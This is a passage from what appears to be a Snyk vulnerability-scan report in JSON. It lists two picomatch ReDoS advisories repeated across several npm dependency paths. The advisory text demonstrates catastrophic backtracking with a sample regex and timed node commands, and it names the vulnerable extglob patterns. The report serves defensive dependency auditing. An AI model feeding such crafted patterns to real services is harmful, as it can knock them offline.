"tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e 